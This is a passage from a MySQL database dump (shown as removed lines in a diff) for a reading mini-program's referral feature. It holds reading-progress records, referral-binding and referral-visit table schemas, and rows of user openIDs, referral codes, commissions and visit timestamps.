'ogpTW5cteGWqwOsRzh_CCIdKWGSE', '10.11', 0, 1068, 'reading', NULL, '2026-03-10 10:52:33', '2026-03-11 02:34:40', '2026-03-10 10:52:33', '2026-03-11 02:34:40'); -INSERT INTO `reading_progress` VALUES (549, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '10.16', 0, 1451, 'reading', NULL, '2026-03-10 10:55:35', '2026-03-10 11:01:42', '2026-03-10 10:55:35', '2026-03-10 11:01:42'); -INSERT INTO `reading_progress` VALUES (550, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '10.13', 0, 6, 'reading', NULL, '2026-03-10 11:14:43', '2026-03-10 11:14:43', '2026-03-10 11:14:43', '2026-03-10 11:14:43'); -INSERT INTO `reading_progress` VALUES (551, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '10.07', 0, 3, 'reading', NULL, '2026-03-10 11:14:53', '2026-03-10 11:14:53', '2026-03-10 11:14:53', '2026-03-10 11:14:53'); -INSERT INTO `reading_progress` VALUES (552, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '10.15', 0, 457, 'reading', NULL, '2026-03-10 22:17:39', '2026-03-10 22:19:13', '2026-03-10 22:17:39', '2026-03-10 22:19:13'); -INSERT INTO `reading_progress` VALUES (553, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', '10.16', 0, 6, 'reading', NULL, '2026-03-11 02:47:44', '2026-03-11 02:47:44', '2026-03-11 02:47:44', '2026-03-11 02:47:44'); -INSERT INTO `reading_progress` VALUES (554, 'ogpTW5brJSEI2A3f-OIEoX59l_dM', 'preface', 0, 3, 'reading', NULL, '2026-03-11 02:52:33', '2026-03-11 02:52:33', '2026-03-11 02:52:33', '2026-03-11 02:52:33'); - --- ---------------------------- --- Table structure for referral_bindings --- ---------------------------- -DROP TABLE IF EXISTS `referral_bindings`; -CREATE TABLE `referral_bindings` ( - `id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `referrer_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `referee_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `referral_code` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `status` enum('active','converted','expired','cancelled') CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'active' COMMENT 'Binding status', - `binding_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP, - `expiry_date` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00', - `conversion_date` timestamp NULL DEFAULT NULL, - `commission_amount` decimal(10, 2) NULL DEFAULT 0.00, - `order_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP, - `updated_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, - `last_purchase_date` datetime NULL DEFAULT NULL COMMENT '最后一次购买时间', - `purchase_count` int(11) NULL DEFAULT 0 COMMENT '购买次数', - `total_commission` decimal(10, 2) NULL DEFAULT 0.00 COMMENT '累计佣金', - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `unique_referrer_referee`(`referrer_id`, `referee_id`) USING BTREE, - INDEX `order_id`(`order_id`) USING BTREE, - INDEX `idx_referrer_id`(`referrer_id`) USING BTREE, - INDEX `idx_referee_id`(`referee_id`) USING BTREE, - INDEX `idx_status`(`status`) USING BTREE, - INDEX `idx_expiry_date`(`expiry_date`) USING BTREE, - INDEX `idx_referee_status`(`referee_id`, `status`) USING BTREE, - INDEX `idx_expiry_purchase`(`expiry_date`, `purchase_count`, `status`) USING BTREE, - CONSTRAINT `referral_bindings_ibfk_1` FOREIGN KEY (`referrer_id`) REFERENCES `users` (`id`) ON DELETE RESTRICT ON UPDATE RESTRICT, - CONSTRAINT `referral_bindings_ibfk_2` FOREIGN KEY (`referee_id`) REFERENCES `users` (`id`) ON DELETE RESTRICT ON UPDATE RESTRICT, - CONSTRAINT `referral_bindings_ibfk_3` FOREIGN KEY (`order_id`) REFERENCES `orders` (`id`) ON DELETE RESTRICT ON UPDATE RESTRICT -) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of referral_bindings --- ---------------------------- -INSERT INTO `referral_bindings` VALUES ('bind_1770801252001948674_xqfc1e', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'SOULCSFQP0', 'cancelled', '2026-02-11 09:14:12', '2026-03-13 09:14:12', NULL, NULL, NULL, '2026-02-11 09:14:12', '2026-02-11 10:08:50', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1770804529830264279_zthvix', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'SOULGSPSQG', 'active', '2026-03-10 11:38:41', '2026-04-09 11:38:41', NULL, NULL, NULL, '2026-02-11 10:08:50', '2026-03-10 11:38:41', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1770804607965826407_xxbp3h', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'SOULNVE5TG', 'cancelled', '2026-03-03 09:40:49', '2026-04-02 09:40:49', NULL, NULL, NULL, '2026-02-11 10:10:08', '2026-03-10 07:02:20', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1770867389651395890_mcq4iw', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5V4aCbAXePOZuYOEs4L2TOU', 'SOUL2XYSRI', 'active', '2026-02-16 10:20:43', '2026-03-18 10:20:43', NULL, NULL, NULL, '2026-02-12 03:36:30', '2026-02-16 10:20:43', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1771026755796515344_m6lzdq', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5ZtuvQ6ZHyCDvmZKSld8F7w', 'SOUL2XYSRI', 'active', '2026-02-13 23:52:36', '2026-03-15 23:52:36', NULL, NULL, NULL, '2026-02-13 23:52:36', '2026-02-13 23:52:36', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1771135371999170056_ge2gu8', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5TNfJ_xV2yqvTDGGV8av1tg', 'SOUL2XYSRI', 'active', '2026-02-15 06:06:16', '2026-03-17 06:06:16', NULL, NULL, NULL, '2026-02-15 06:02:52', '2026-02-15 06:06:16', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1771201908936425348_mm1es6', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'SOUL2XYSRI', 'active', '2026-03-10 22:18:43', '2026-04-09 22:18:43', NULL, NULL, NULL, '2026-02-16 00:31:49', '2026-03-10 22:18:43', '2026-02-27 10:09:15', NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1771630947929778915_7xlznb', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'SOUL2XYSRI', 'active', '2026-02-27 23:53:29', '2026-03-29 23:53:29', NULL, NULL, NULL, '2026-02-20 23:42:28', '2026-02-27 23:53:29', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1771816859263791812_92q5s6', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'SOUL6EGC-G', 'cancelled', '2026-02-23 03:24:10', '2026-03-25 03:24:10', NULL, NULL, NULL, '2026-02-23 03:20:59', '2026-02-27 09:01:09', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1771826835548326070_kv8m0f', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5fn15jtYjuoxYNB_jGSVV4g', 'SOUL2XYSRI', 'active', '2026-02-23 06:07:30', '2026-03-25 06:07:30', NULL, NULL, NULL, '2026-02-23 06:07:16', '2026-02-23 06:07:30', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1771836534927572353_7nbp3h', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'SOUL2XYSRI', 'cancelled', '2026-03-04 05:49:06', '2026-04-03 05:49:06', NULL, NULL, NULL, '2026-02-23 08:48:55', '2026-03-05 04:22:40', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1772182869268359610_s2guiw', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'SOULDKWGSE', 'cancelled', '2026-02-27 09:02:50', '2026-03-29 09:02:50', NULL, NULL, NULL, '2026-02-27 09:01:09', '2026-02-27 22:58:47', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1772453727309082940_1res0e', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5WeoERCxTkb2DkF_lqu2PQo', 'SOUL2XYSRI', 'active', '2026-03-02 12:15:28', '2026-04-01 12:15:28', NULL, NULL, NULL, '2026-03-02 12:15:27', '2026-03-02 12:15:28', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1772499154960066731_78l9xl', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5WdQ4z5Ro8PMMkds7eaZz3o', 'SOUL2XYSRI', 'active', '2026-03-03 00:52:45', '2026-04-02 00:52:45', NULL, NULL, NULL, '2026-03-03 00:52:35', '2026-03-03 00:52:45', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1772703285369087055_yih4tq', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'SOUL6EGC-G', 'active', '2026-03-05 10:00:54', '2026-04-04 10:00:54', NULL, NULL, NULL, '2026-03-05 09:34:45', '2026-03-05 10:00:54', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1772704818632796306_x0jxvs', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'SOUL6EGC-G', 'active', '2026-03-05 10:01:53', '2026-04-04 10:01:53', NULL, NULL, NULL, '2026-03-05 10:00:19', '2026-03-05 10:01:53', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1772788331755486170_486uig', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5cVH5MPuucs9h6ksFeTAaJc', 'SOUL2XYSRI', 'active', '2026-03-06 09:12:12', '2026-04-05 09:12:12', NULL, NULL, NULL, '2026-03-06 09:12:12', '2026-03-06 09:12:12', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1772845816591131638_pkhf41', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5cRhoPR9kuKcIcp3sOcJHqI', 'SOUL2XYSRI', 'active', '2026-03-07 01:10:25', '2026-04-06 01:10:25', NULL, NULL, NULL, '2026-03-07 01:10:17', '2026-03-07 01:10:25', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1772846697998099640_w0ymay', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5SaKompq-PXgVrmfeZ_b68c', 'SOUL2XYSRI', 'active', '2026-03-07 01:24:58', '2026-04-06 01:24:58', NULL, NULL, NULL, '2026-03-07 01:24:58', '2026-03-07 01:24:58', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1773010431791366447_nnbp3h', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5eVttIThJZivHtAredPgYDk', 'SOUL2XYSRI', 'cancelled', '2026-03-08 22:53:52', '2026-04-07 22:53:52', NULL, NULL, NULL, '2026-03-08 22:53:52', '2026-03-10 13:44:28', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1773121074810367896_ku8zm0', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'SOUL2XYSRI', 'active', '2026-03-10 05:37:55', '2026-04-09 05:37:55', NULL, NULL, NULL, '2026-03-10 05:37:55', '2026-03-10 05:37:55', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1773126139777030762_1l8way', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'SOUL6EGC-G', 'active', '2026-03-10 11:14:27', '2026-04-09 11:14:27', NULL, NULL, NULL, '2026-03-10 07:02:20', '2026-03-10 11:14:27', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1773130594973770972_kl8iwa', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5bWCYxnHOCGzPDaVHl9X0XA', 'SOUL6EGC-G', 'active', '2026-03-10 08:16:35', '2026-04-09 08:16:35', NULL, NULL, NULL, '2026-03-10 08:16:35', '2026-03-10 08:16:35', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1773150268313601111_uk8m0o', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5eVttIThJZivHtAredPgYDk', 'SOUL6EGC-G', 'active', '2026-03-10 13:44:28', '2026-04-09 13:44:28', NULL, NULL, NULL, '2026-03-10 13:44:28', '2026-03-10 13:44:28', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1773181078668382922_2s6kyc', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5XrcqqKJYHWJncGX2l7Qj7c', 'SOUL2XYSRI', 'active', '2026-03-10 22:19:32', '2026-04-09 22:19:32', NULL, NULL, NULL, '2026-03-10 22:17:59', '2026-03-10 22:19:32', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1773182680830023999_71fdrf', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5VDkVXuX8gG2jYUmFh-e8dM', 'SOUL2XYSRI', 'active', '2026-03-10 22:44:45', '2026-04-09 22:44:45', NULL, NULL, NULL, '2026-03-10 22:44:41', '2026-03-10 22:44:45', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1773183011554964037_3t8mzd', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5dY46gEJEaP_a45t6QrbAGk', 'SOUL2XYSRI', 'active', '2026-03-10 22:50:12', '2026-04-09 22:50:12', NULL, NULL, NULL, '2026-03-10 22:50:12', '2026-03-10 22:50:12', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1773196492064101998_xxlzo1', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5brJSEI2A3f-OIEoX59l_dM', 'SOULDKWGSE', 'active', '2026-03-11 02:34:52', '2026-04-10 02:34:52', NULL, NULL, NULL, '2026-03-11 02:34:52', '2026-03-11 02:34:52', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_mkywuxmdkwyv52', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'SOUL6EGC-G', 'converted', '2026-01-29 11:44:57', '2026-02-28 11:44:58', '2026-01-29 12:23:51', 0.90, NULL, '2026-01-29 11:44:57', '2026-01-29 12:23:51', NULL, 0, 0.00); -INSERT INTO `referral_bindings` VALUES ('bind_ml1mi6m09yt5mo', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5euxUBHS7fOOXMjUWijBN9g', 'SOUL2XYSRI', 'active', '2026-01-31 09:18:25', '2026-03-02 09:18:25', NULL, 0.00, NULL, '2026-01-31 09:18:25', '2026-01-31 09:18:25', NULL, 0, 0.00); -INSERT INTO `referral_bindings` VALUES ('bind_ml8r2jhqnopvt9', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5eDYtFiv61kJCCwWbsXCBZY', 'SOUL2XYSRI', 'converted', '2026-02-05 09:00:36', '2026-03-07 09:00:37', '2026-02-05 09:06:23', 0.90, 'MP20260205090617850214', '2026-02-05 09:00:36', '2026-02-05 09:06:23', NULL, 0, 0.00); - --- ---------------------------- --- Table structure for referral_visits --- ---------------------------- -DROP TABLE IF EXISTS `referral_visits`; -CREATE TABLE `referral_visits` ( - `id` int(11) NOT NULL AUTO_INCREMENT, - `referrer_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '推广者ID', - `visitor_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '访客ID(可能为空)', - `visitor_openid` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '访客openId', - `source` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'miniprogram' COMMENT '来源:miniprogram/web/share', - `page` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '落地页路径', - `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP, - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_referrer_id`(`referrer_id`) USING BTREE, - INDEX `idx_visitor_id`(`visitor_id`) USING BTREE, - INDEX `idx_created_at`(`created_at`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 683 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of referral_visits --- ---------------------------- -INSERT INTO `referral_visits` VALUES (1, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', '', '2026-01-29 11:24:17'); -INSERT INTO `referral_visits` VALUES (2, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', '', '2026-01-29 11:24:17'); -INSERT INTO `referral_visits` VALUES (3, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-01-29 11:24:17'); -INSERT INTO `referral_visits` VALUES (4, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'user_1768835439474', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', '', '2026-01-29 11:25:19'); -INSERT INTO `referral_visits` VALUES (5, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'user_1768835439474', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', '', '2026-01-29 11:25:19'); -INSERT INTO `referral_visits` VALUES (6, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'user_1768835439474', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-01-29 11:25:19'); -INSERT INTO `referral_visits` VALUES (7, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', NULL, 'miniprogram', NULL, '2026-01-29 11:44:57'); -INSERT INTO `referral_visits` VALUES (8, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', '', '2026-01-29 18:03:45'); -INSERT INTO `referral_visits` VALUES (9, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', '', '2026-01-29 18:03:45'); -INSERT INTO `referral_visits` VALUES (10, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-01-29 18:03:45'); -INSERT INTO `referral_visits` VALUES (11, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-01-29 18:03:52'); -INSERT INTO `referral_visits` VALUES (12, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-01-29 18:04:00'); -INSERT INTO `referral_visits` VALUES (13, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5euxUBHS7fOOXMjUWijBN9g', NULL, 'miniprogram', NULL, '2026-01-31 09:18:25'); -INSERT INTO `referral_visits` VALUES (14, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5euxUBHS7fOOXMjUWijBN9g', NULL, 'miniprogram', NULL, '2026-01-31 09:18:25'); -INSERT INTO `referral_visits` VALUES (15, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5euxUBHS7fOOXMjUWijBN9g', NULL, 'miniprogram', NULL, '2026-01-31 09:18:25'); -INSERT INTO `referral_visits` VALUES (16, 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-01-31 11:06:46'); -INSERT INTO `referral_visits` VALUES (17, 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-01-31 11:06:46'); -INSERT INTO `referral_visits` VALUES (18, 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-01-31 11:06:50'); -INSERT INTO `referral_visits` VALUES (19, 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-01-31 11:06:50'); -INSERT INTO `referral_visits` VALUES (20, 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-01-31 11:06:59'); -INSERT INTO `referral_visits` VALUES (21, 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-01-31 11:07:03'); -INSERT INTO `referral_visits` VALUES (22, 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-01-31 11:07:03'); -INSERT INTO `referral_visits` VALUES (23, 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/chapters/chapters', '2026-01-31 11:07:16'); -INSERT INTO `referral_visits` VALUES (24, 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-01-31 11:07:16'); -INSERT INTO `referral_visits` VALUES (25, 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/chapters/chapters', '2026-01-31 11:07:29'); -INSERT INTO `referral_visits` VALUES (26, 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-01-31 11:07:29'); -INSERT INTO `referral_visits` VALUES (27, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-01-31 11:27:27'); -INSERT INTO `referral_visits` VALUES (28, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-01-31 11:27:27'); -INSERT INTO `referral_visits` VALUES (29, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', '', '2026-02-04 15:52:38'); -INSERT INTO `referral_visits` VALUES (30, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', '', '2026-02-04 15:52:38'); -INSERT INTO `referral_visits` VALUES (31, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-04 15:52:39'); -INSERT INTO `referral_visits` VALUES (32, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-04 16:02:27'); -INSERT INTO `referral_visits` VALUES (33, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-04 16:02:31'); -INSERT INTO `referral_visits` VALUES (34, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', '', '2026-02-04 16:02:33'); -INSERT INTO `referral_visits` VALUES (35, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-04 16:02:33'); -INSERT INTO `referral_visits` VALUES (36, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', '', '2026-02-04 16:02:33'); -INSERT INTO `referral_visits` VALUES (37, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-04 16:02:43'); -INSERT INTO `referral_visits` VALUES (38, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', '', '2026-02-04 16:02:51'); -INSERT INTO `referral_visits` VALUES (39, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', '', '2026-02-04 16:02:52'); -INSERT INTO `referral_visits` VALUES (40, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-04 16:02:52'); -INSERT INTO `referral_visits` VALUES (41, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5eDYtFiv61kJCCwWbsXCBZY', NULL, 'miniprogram', NULL, '2026-02-05 09:00:36'); -INSERT INTO `referral_visits` VALUES (42, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5eDYtFiv61kJCCwWbsXCBZY', NULL, 'miniprogram', NULL, '2026-02-05 09:00:36'); -INSERT INTO `referral_visits` VALUES (43, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', '', '2026-02-05 16:11:39'); -INSERT INTO `referral_visits` VALUES (44, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 